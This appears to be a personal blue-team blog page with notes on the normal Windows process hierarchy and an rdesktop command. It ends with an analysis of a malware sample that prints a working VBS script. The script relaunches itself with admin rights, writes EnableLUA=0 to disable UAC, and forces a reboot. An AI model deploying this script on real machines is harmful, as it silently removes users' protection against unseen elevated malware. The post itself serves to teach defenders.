Windows Process Tree Basics (Blue Team)

Great read by Pete here

https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2

Just jotting some notes for myself below

SYSTEM
SYSTEM IDLE Process
- no visible parent
- should only ever be 1 of each
- in kernel mode ( created by NT OS Kernel )
- SYSTEM always has PID 4
- SYSTEM IDLE Process always has 1 threat per CPU

SMSS.EXE

- parent is SYSTEM (PID 4)

- should only ever be 1 running

- runs from \system32\smss.exe

- 1st user mode process started by Kernel

- launches WINLOGON.EXE, WININIT.EXE, and CSRSS.EXE , then SMSS.EXE exits

WINLOGON.EXE

- no parent (because SMSS.EXE launches it and then SMSS.EXE exits)

- runs as NT AUTHORITY\SYSTEM

- runs from \system32\winlogon.exe

- may spawn child processes (alternate login devices such as biometric readers)

- launches USERINIT.EXE which runs logon scripts, connects to network, starts EXPLORER.EXE

WININIT.EXE

- no parent (because SMSS.EXE launches it and then SMSS.EXE exits)

- runs as NT AUTHORITY\SYSTEM

- runs from system32\wininit.exe

- launches SERVICES.EXE, LSASS.EXE, and LSM.EXE

- creates %windir%\temp

CSRSS.EXE

- no parent (because SMSS.EXE launches it and then SMSS.EXE exits)

- runs as NT AUTHORITY\SYSTEM

- runs from system32\csrss.exe

USERINIT.EXE

- parent is WINLOGON.EXE

- Runs logon scripts, connects to network, starts EXPLORER.EXE, then exits

EXPLORER.EXE

- no parent (because USERINIT.EXE launches it and then USERINIT.EXE exits)

- runs from \windows\explorer.exe

- no TCP/IP network connections

- normally launches most user processes as children

SERVICES.EXE

- parent is WININIT.EXE

- runs as NT AUTHORITY\SYSTEM

- runs from \system32\services.exe

- normally multiple children processes as SVCHOST.EXE for each service

LSASS.EXE

- parent is WININIT.EXE

- always only 1 LSASS.EXE

- should NEVER spawn child processes

- runs as NT AUTHORITY\SYSTEM

- runs from \system32\lsass.exe

LSM.EXE

- parent is WININIT.EXE

- should NEVER spawn child processes

- runs as NT AUTHORITY\SYSTEM

- runs from \system32\lsm.exe

SVCHOST.EXE

- parent is SERVICES.EXE

- runs from \system32\svchost.exe

- runas as 1 of these accounts (NT AUTHORITY\SYSTEM, LOCAL SERVICE, or NETWORK SERVICE)

- command line always looks like "SVCHOST.EXE -k [name]"

Windows RDP Remote Desktop from Kali

~# rdesktop SERVER -d DOMAIN -u USER -p PASSWORD

Malware Disabling UAC

I recently saw malware that when executed dropped and executed another VBS script that was interesting, the VBS script code is here. In a nutshell, what it is doing is disabling UAC (User Access Control) prompting [aka LUA] on the Windows server so that the attacker can accomplish their desired tasks silenty behind the scenes with no prompting of the user.

As you can see below the attacker basically has 2 routes this code could take. The first route (red) is actually a recursive call back to this same script. The 2nd route (green)is the route that actually updates the UAC and restarts the workstation. Basically what this is saying is if the attacker runs this VBS script with no parameters, the 1st route (red) sets the default parameters, and if the attacker runs this VBS script with the appropriate parameters already passed thru then the script skips the 1st section and immediately runs the 2nd block (the else statement) (green).

If WScript.Arguments.length =0 Then
  Set objShell = CreateObject("Shell.Application")
  objShell.ShellExecute "wscript.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1
Else
  Const UAC_DISABLE = 0
  Const UAC_REGKEY = "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA"
  Set Shell = CreateObject( "WScript.Shell" )
  Shell.RegWrite UAC_REGKEY, UAC_DISABLE, "REG_DWORD"
  Shell.Run "C:\WINDOWS\system32\shutdown.exe -r -t 10"
end if


In the 1st chunk (red) the attacker is checking if there are no parameters passed. If so, then he opens a command prompt shell and executes the wscript.exe executable and sends to the name of this script plus the single parameter 'uac' (which isn't actually used anywhere). But the attacker also makes sure that the wscript.exe executable is run with elevated privileges (runas 1 is the equivalent of right-click run as administrator). This will essentially re-execute the script we're already in but passes in 1 parameter and ensures it's running as admin.

In the 2nd chunk (green) this is where the attacker does the damage. He creates a Windows Script Host object that can run commands against the windows operating system. There are 2 commands of interest. The first is Shell.RegWrite which means he's going to create or overwrite an existing registry entry. In this case he's writing over the EnableLUA property and setting the value to 0 which essentially turns off UAC prompting so the user will be blind to the fact that elevated commands are being run. The only downsides for the attacker is that this script itself will initially prompt the user with a UAC prompt which is windows essentially making a last ditch effort to save the user from disabling UAC. The other downside for the attacker is that the system needs to be rebooted for this to take effect. So the next command is to do Shell Run which runs a command prompt with the shutdown.exe executable saying to restart in 10 seconds.

If the user clicks yes to the UAC prompt and runs this script, there will be no more UAC prompting for elevated commands and the attacker can freely run his malware behind the scenes without the end user noticing.

More about neonprimetime

• neonprimetime pastebin
• neonprimetime virustotal
• @neonprimetime twitter
• neonprimetime reddit

Top Blogs of all-time

1. pagerank botnet sql injection walk-thru
2. DOM XSS 101 Walk-Through
3. An Invoice email and a Hot mess of Java

Top Github Contributions

1. Qualys Scantronitor 2.0

Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.